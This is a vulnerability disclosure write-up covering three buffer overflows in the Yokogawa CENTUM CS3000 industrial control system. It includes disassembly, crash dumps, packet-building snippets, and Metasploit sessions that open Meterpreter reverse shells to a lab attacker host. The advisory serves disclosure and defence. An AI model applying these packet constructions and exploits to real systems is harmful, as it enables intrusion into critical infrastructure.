On Saturday, March 8th, @julianvilas and I spoke at RootedCON about our work with the Yokogawa CENTUM CS3000 product. Today, as promised, we're publishing details for three of the vulnerabilities found in the product. For all of you who weren't able to attend RootedCON, we're going just to quote the Yokogawa description of their own product in order to introduce it: "Yokogawa released CENTUM CS 3000 R3 in 1998 as the first Windows-based production control system under our brand. For over 10 years of continuous developments and enhancements, CENTUM CS 3000 R3 is equipped with functions to make it a matured system. With over 7600 systems sold worldwide, it is a field-proven system with 99.99999% of availability."
Vulnerabilities Summary
This report include details for three vulnerabilities found in different services used by the Yokogawa CENTUM CS3000 product in order to provide all its functionality. The vulnerabilities have been found in the version R3.08.50:
- R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow: The "BKCLogSvr.exe" service, started automatically with the system, listens by default on UDP/52302. By sending a specially sequence of packets to UDP/52302 it's possible to trigger a heap based buffer overflow, after an usage of uninitialized data, which allows to DoS the “BKCLogSvr.exe”, and on last instance, could allow execution of arbitrary code with SYSTEM privileges.
- R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow: The "BKHOdeq.exe" service, started when running the "FCS / Test Function" listens by default on TCP/20109 and TCP/20171. By sending a specially crafted packet to the port TCP/20171 it's possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.
- R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow: The Yokogawa Centum CS3000 solution uses different services in order to provide all its functionality. The “BKBCopyD.exe” service, started when running the “FCS / Test Function”, listens by default on TCP/20111. By sending a specially crafted packet to the port TCP/20111 it's possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.
Disclosure Timeline
| Date | Description |
|---|---|
| Dec 27, 2013 | Initial disclosure to the vendor, Yokogawa |
| Jan 13, 2014 | Disclosure to CERT/CC |
| Jan 14, 2014 | CERT/CC assigns VU#479196 and forwards details to JPCERT |
| Feb 03, 2014 |
CERT/CC confirms JPCERT and ICS-CERT are coordinating the vulnerabilities. ICS-CERT tracking #: ICS-VU-205881 JPCERT tracking #: JVNVU#98181377, JPECERT#98191377 |
| Mar 07, 2014 | Yokogawa advisory published (PDF). |
| Mar 10, 2014 | Metasploit modules published in Pull Request #3081 |
Technical Analysis
R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow
The BKLogSvr service listens on the UDP/52302, where expects packets sending
logs, of no more than 1024 bytes, as can be seen on the next assembly from
libbkclogsvr.dll (IDA notation):
.text:61DC1283 push eax ; fromlen
.text:61DC1284 mov eax, s
.text:61DC1289 push ecx ; from
.text:61DC128A push 0 ; flags
.text:61DC128C lea edx, [esp+42Ch+buf]
.text:61DC1290 push 400h ; len - packets including logs of 1024 bytes as much
.text:61DC1295 push edx ; buf
.text:61DC1296 push eax ; s
.text:61DC1297 mov [esp+438h+fromlen], 10h
.text:61DC129F call recvfrom
There is a log packet sample:
"\x96\x00\x00\x00\x00\x00\x00\x00\x48\x41\x53\x00\x00\x00\x00\x00" #........ HIS.....
"\x00\x00\x00\x00\x00\x00\x00\x00\x4c\x4f\x47\x00\x00\x00\x00\x00" #........ LOG.....
"\x32\x30\x31\x33\x2f\x31\x31\x2f\x30\x39\x20\x31\x39\x3a\x32\x31" #2013/11/ 09 19:21
"\x3a\x34\x32\x20\x2b\x30\x31\x3a\x30\x30\x2c\x45\x56\x45\x4e\x54" #:42 +01: 00,EVENT
"\x2c\x30\x78\x30\x30\x30\x30\x30\x30\x30\x30\x2c\x3c\x42\x4f\x53" #,0x00000 000,<BOS
"\x53\x56\x43\x3e\x20\x2c\x43\x3a\x5c\x43\x53\x33\x30\x30\x30\x5c" #SVC> ,C: \CS3000\
"\x50\x52\x4f\x47\x52\x41\x4d\x5c\x42\x4b\x48\x42\x6f\x73\x53\x76" #PROGRAM\ BKHBosSv
"\x63\x2e\x65\x78\x65\x3a\x42\x6f\x73\x53\x76\x63\x4d\x61\x69\x6e" #c.exe:Bo sSvcMain
"\x3a\x32\x36\x32\x33\x2c\x22\x73\x74\x61\x74\x75\x73\x20\x3a\x20" #:2623,"s tatus :
"\x42\x4f\x4f\x54\x22\x22" #BOOT".
The meaning of the several fields, according to our understanding, is it:
| Offset | Field |
|---|---|
| 0x0 | Size |
| 0x4 | Unknown |
| 0x8 | Source |
| 0x18 | Level |
| 0x20 | Message |
The heap overflow occurs while handling the creation of the path where the log will be stored. The allocation for the memory happens on sub_61DC15A0 (IDA Notation), and it's a buffer of size 0x1b8:
.text:61DC16A7 push 1B8h ; Size
.text:61DC16AC call ds:malloc ; malloc memory: 0x1b8
When sending two consecutive packets with a long Level field, coalescing both Level and Message fields, an overflow happens after the allocation, in a strcpy style copy, resulting in the next crash:
0:005> g
(c24.a6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\CS3000\LIBRARY\libbkclogsvr.dll -
eax=00000344 ebx=01846e48 ecx=000000ae edx=01846f9c esi=023af7a8 edi=01847000
eip=61dc1709 esp=023af708 ebp=0183de48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libbkclogsvr!BKCLogSvrLibResume+0x549:
61dc1709 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:004> db esi
023af7a8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7b8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7c8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7d8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7e8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7f8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af808 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af818 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:004> db edi
01847000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:004> db edi - 10
01846ff0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
01847000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:004> !heap -p -a edi
address 01847000 found in
_DPH_HEAP_ROOT @ 17d1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
17d19a4: 1846e48 1b8 - 1846000 2000
7c918f01 ntdll!RtlAllocateHeap+0x00000e64
77c2c3c9 msvcrt!_heap_alloc+0x000000e0
77c2c3e7 msvcrt!_nh_malloc+0x00000013
77c2c42e msvcrt!malloc+0x00000027
61dc16b2 libbkclogsvr!BKCLogSvrLibResume+0x000004f2
At the moment of the overflow, the source of the data points to controlled data from the malformed Level/Message field.
But in order to trigger the overflow, two consecutive packets are needed. The explanation is on the stack, and how the function doesn't take care of a correct initialization of local variables:
.text:61DC16E3 lea edi, [esp+450h+var_440] ; origin for the copy comes from here, uninitialized stack is the root cause of the overflow being exploitable.
.text:61DC16E7 xor eax, eax
.text:61DC16E9 lea edx, [ebx+12Ch]
.text:61DC16EF repne scasb
.text:61DC16F1 not ecx
.text:61DC16F3 sub edi, ecx
.text:61DC16F5 push 104h
.text:61DC16FA mov eax, ecx
.text:61DC16FC mov esi, edi
.text:61DC16FE shr ecx, 2
.text:61DC1701 mov edi, edx
.text:61DC1703 lea edx, [ebx+154h]
.text:61DC1709 rep movsd ; overflow happens here
The origin for the copy is a local variable, stored on the stack, which has not been initialized previously. So if malicious data can be stored on the stack, the overflow happens. It's possible to put malicious data on the stack by sending consecutive malicious packets.
As has been already explained, in order to exploit the dangerous strcpy controlled data need to be stored in the stack previously in order to abuse the uninitialized local variables. In order to accomplish it two consecutive, malformed packets, can be sent to the server:
test = [1024].pack("V") # packet length
test << "AAAA" # Unknown
test << "SOURCE\x00\x00" # Source
test << "\x00" * 8 # Padding
test << "B" * (1024 - test.length) # Level & Message coalesced
When the first packet is processed by the vulnerable function, it is the stack (origin for the dangerous copy):
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=005c4008 ecx=ffffffff edx=005c0608 esi=00a9f75d edi=005c41c0
eip=61dc16e3 esp=00a9f70c ebp=00000000 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x523:
61dc16e3 8d7c2410 lea edi,[esp+10h]
0:004> t
eax=00000000 ebx=005c4008 ecx=ffffffff edx=005c0608 esi=00a9f75d edi=00a9f71c
eip=61dc16e7 esp=00a9f70c ebp=00000000 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x527:
61dc16e7 33c0 xor eax,eax
0:004> db edi
00a9f71c 53 4f 55 52 43 45 42 42-42 42 42 42 42 42 00 00 SOURCEBBBBBBBB..
00a9f72c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f73c 00 04 00 00 41 41 41 41-53 4f 55 52 43 45 00 00 ....AAAASOURCE..
00a9f74c 00 00 00 00 00 00 00 00-42 42 42 42 42 42 42 42 ........BBBBBBBB
00a9f75c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f76c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f77c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f78c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Later, while processing this first packet, the stack is filled with the packet contents. It occurs when flushing the contents of the log:
.text:61DC1572 call ebx ; fflush ; Here is where the stack is filled with controlled data
.text:61DC1572 ;
.text:61DC1572 ; ChildEBP RetAddr Args to Child
.text:61DC1572 ; 00a9fab8 77c3035a 00000003 005c4298 000003e0 msvcrt!_write_lk+0xd6
.text:61DC1572 ; 00a9faf4 77c3edb2 00000003 005c4298 000003e0 msvcrt!_write+0x57
.text:61DC1572 ; 00a9fb14 77c3edf3 77c5fce0 00000000 00a9fb58 msvcrt!_flush+0x35
.text:61DC1572 ; 00a9fb24 77c3ef26 77c5fce0 77c40ed3 7c802530 msvcrt!_fflush_lk+0xf
.text:61DC1572 ; 00a9fb58 61dc1574 77c5fce0 00a9fb84 77c5fce0 msvcrt!fflush+0x30
.text:61DC1572 ; WARNING: Stack unwind information not available. Following frames may be wrong.
.text:61DC1572 ; 00a9fb60 00a9fb84 77c5fce0 0089fc60 005c3eb8 libbkclogsvr!BKCLogSvrLibResume+0x3b4
When the second packet is processed by the vulnerable function, it is the stack (origin for the dangerous copy):
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=005c5240 ecx=ffffffff edx=005c0608 esi=00a9f72a edi=005c53f8
eip=61dc16e3 esp=00a9f70c ebp=005c4008 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x523:
61dc16e3 8d7c2410 lea edi,[esp+10h]
0:004> t
eax=00000000 ebx=005c5240 ecx=ffffffff edx=005c0608 esi=00a9f72a edi=00a9f71c
eip=61dc16e7 esp=00a9f70c ebp=005c4008 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x527:
61dc16e7 33c0 xor eax,eax
0:004> db edi
00a9f71c 53 4f 55 52 43 45 42 42-42 42 42 42 42 42 42 42 SOURCEBBBBBBBBBB
00a9f72c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f73c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f74c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f75c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f76c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f77c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f78c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:004> g
(430.f50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\CS3000\LIBRARY\LibBKCCommon.dll -
eax=00000000 ebx=00000104 ecx=ffffffff edx=00a9f3ec esi=00a9fa60 edi=42424242
eip=61e51708 esp=00a9f3d8 ebp=005c5248 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
LibBKCCommon!BKCGetLogDir+0x78:
61e51708 f2ae repne scas byte ptr es:[edi]
R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow
The vulnerability exists in the function “sub_41EB60” (IDA notation), which makes an insecure memory copy, while reading lines from user controlled input:
int __cdecl vulnerable_sub_41EB60(int a1, int a2)
{
int v2; // eax@1
char v3; // cl@1
int result; // eax@3
int i; // edx@5
v2 = a2;
v3 = *(_BYTE *)a2;
if ( *(_BYTE *)a2 != ':' || *(_BYTE *)(a2 + 1) != ':' )
{
for ( i = 0; v3 != '\n'; ++v2 ) // Dangerous loop, copying data to a stack buffer, until an end of line is found
{
if ( v3 == '\r' )
break;
*(_BYTE *)(i + a1) = v3; // Byte copy to the stack, without having destination size into account.
v3 = *(_BYTE *)(v2 + 1);
++i;
}
*(_BYTE *)(i + a1) = 0;
for ( result = v2 + 1; *(_BYTE *)result == '\n' || *(_BYTE *)result == '\r'; ++result )
;
}
else
{
result = 0;
}
return result;
}
The dangerous loop keeps copying data from the buffer pointed by the second argument, to the buffer pointed by the first argument, until a delimiter "\r" or "\n" is found.
By sending specially crafted data to the TCP/20171 port it's possible to reach the vulnerable copy function with the first argument pointing to a static size buffer stored on the stack (destination) and the argument (origin) pointing to an arbitrary user data:
.text:0041DAAD mov eax, [esp+2280h+arg_4] ; user controlled data, user specified length (4 bytes)
.text:0041DAB4 lea ecx, [esp+2280h+var_1D14] ; static buffer size on the stack
.text:0041DABB push eax
.text:0041DABC push ecx
.text:0041DABD call vulnerable_sub_41EB60
It's possible to reach the vulnerable copy function by sending a specially crafted packet to TCP/20171. The packet must include a 16-byte fake header, where the bytes 4-7 allow setting an arbitrary data length:
header = "ABCD" # iMark
header << [data.length].pack("N") # Data length
header << "IJKL" # NumSet
header << "MN" # req
header << "OP" # Unknown
And the packet data, which can't contain "\r", "\n" or ":"" characters in order to trigger memory corruption. The arbitrary data must be longer than the static buffer size on the stack, of course.
R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow
The vulnerability exists on the function “sub_409EA0” (IDA notation), used while parsing several commands accepted for the BKBCopyD.exe TCP/20111 service. The vulnerable function tries to store a received command (and its argument) on memory. But it uses a dangerous vsprintf call to store a temporary copy of the full command on the stack, where the size of the buffer is no longer enough to store commands with long arguments:
int dangerous_sub_409EA0(int a1, const char *Format, ...)
{
unsigned int v2; // edx@1
int result; // eax@3
char Dest; // [sp+8h] [bp-80h]@1
va_list va; // [sp+94h] [bp+Ch]@1
va_start(va, Format);
vsprintf(&Dest, Format, va); // Dangerous vsprintf call
v2 = strlen(&Dest);
if ( (signed int)(dword_4230C0 + v2 + 1) > 1024 )
{
dword_4230C4 = (int)dword_4230C8;
dword_4230C0 = 0;
}
strcpy((char *)dword_4230C4, &Dest);
result = dword_4230C4 + v2 + 1;
dword_4230C4 += v2 + 1;
dword_4230C0 += v2 + 1;
return result;
}
The vulnerable function is reachable through several commands which accept user provided arguments like:
- STOR
.text:00405ED0 push eax ; Args
.text:00405ED1 push offset aStorS ; "STOR %s"
.text:00405ED6 push ecx ; int
.text:00405ED7 call dangerous_sub_409EA0
- RETR
.text:00405E1E push edx ; Args
.text:00405E1F push offset aRetrS ; "RETR %s"
.text:00405E24 push esi ; int
.text:00405E25 call dangerous_sub_409EA0
- PMODE
.text:004060A2 push eax ; Args
.text:004060A3 push offset aPmodeS ; "PMODE %s"
.text:004060A8 push ecx ; int
.text:004060A9 call dangerous_sub_409EA0
- ATTR
.text:004061D1 push ecx ; Args
.text:004061D2 push offset aAttrS ; "ATTR %s"
.text:004061D7 push esi ; int
.text:004061D8 call dangerous_sub_409EA0
- XATR
.text:0040627A push edx ; Args
.text:0040627B push offset aXatrS ; "XATR %s"
.text:00406280 push esi ; int
.text:00406281 call dangerous_sub_409EA0
By sending specially crafted data to the TCP/20171 port it's possible to reach the vulnerable copy function with the first argument pointing to a static size buffer stored on the stack (destination) and the argument (origin) pointing to an arbitrary user data:
.text:0041DAAD mov eax, [esp+2280h+arg_4] ; user controlled data, user specified length (4 bytes)
.text:0041DAB4 lea ecx, [esp+2280h+var_1D14] ; static buffer size on the stack
.text:0041DABB push eax
.text:0041DABC push ecx
.text:0041DABD call vulnerable_sub_41EB60
Metasploit Modules
R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow
A proof of concept Metasploit module to trigger the Denial Of Service condition has been developed. However, a successful exploitation of the heap overflow could lead to arbitrary code execution with SYSTEM privileges.
msf > use auxiliary/dos/scada/yokogawa_logsvr
msf auxiliary(yokogawa_logsvr) > set RHOST 192.168.172.133
RHOST => 192.168.172.133
set verbose truemsf auxiliary(yokogawa_logsvr) > set verbose true
verbose => true
msf auxiliary(yokogawa_logsvr) > run
[*] Sending 10 packets...
[*] Sending 1/10...
[*] Sending 2/10...
[*] Sending 3/10...
[*] Sending 4/10...
[*] Sending 5/10...
[*] Sending 6/10...
[*] Sending 7/10...
[*] Sending 8/10...
[*] Sending 9/10...
[*] Sending 10/10...
[*] Auxiliary module execution completed
msf auxiliary(yokogawa_logsvr
) >
R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow
A working exploit has been developed for Yokogawa Centum CS3000 R3.08.50 (including DEP bypass in case needed), where is possible to gain arbitrary code execution, with the CENTUM user privileges, by corrupting the SEH handler stored in the stack. By default, a run of the Metasploit module will return a shell on the targeted system:
msf > use exploit/windows/scada/yokogawa_bkhodeq_bof
msf exploit(yokogawa_bkhodeq_bof) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(yokogawa_bkhodeq_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(yokogawa_bkhodeq_bof) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(yokogawa_bkhodeq_bof) > exploit
[*] Started reverse handler on 192.168.172.1:4444
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ], sending 8689 bytes...
[*] Sending stage (769024 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:1185) at 2014-03-09 16:09:28 +0100
meterpreter > getuid
Server username: HIS0163\CENTUM
meterpreter > sysinfo
Computer : HIS0163
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow
Exploitation has been confirmed at least with the commands STOR, RETR and PMODE. By sending a command with a long argument it's possible to overflow the EIP saved on the stack and gain code execution since there isn't stack cookie protection on the vulnerable function. A working exploit has been developed for Yokogawa Centum CS3000 R3.08.50, where is possible to gain arbitrary code execution, with the CENTUM user privileges, by sending a specially crafted RETR command. Again, shells are to be had:
msf> use exploit/windows/scada/yokogawa_bkbcopyd_bof
msf exploit(yokogawa_bkbcopyd_bof) > set RHOST 192.168.172.133
RHOST => 192.168.172.133
msf exploit(yokogawa_bkbcopyd_bof) > check
[*] The target service is running, but could not be validated.
msf exploit(yokogawa_bkbcopyd_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(yokogawa_bkbcopyd_bof) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(yokogawa_bkbcopyd_bof) > exploit
[*] Started reverse handler on 192.168.172.1:4444
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3, sending 458 bytes...
[*] Sending stage (770048 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:1384) at 2014-03-03 12:20:54 -0600
meterpreter > getuid
Server username: HIS0163\CENTUM
meterpreter > sysinfo
Computer : HIS0163
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.172.133 - Meterpreter session cosed. Reason: User exit
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.
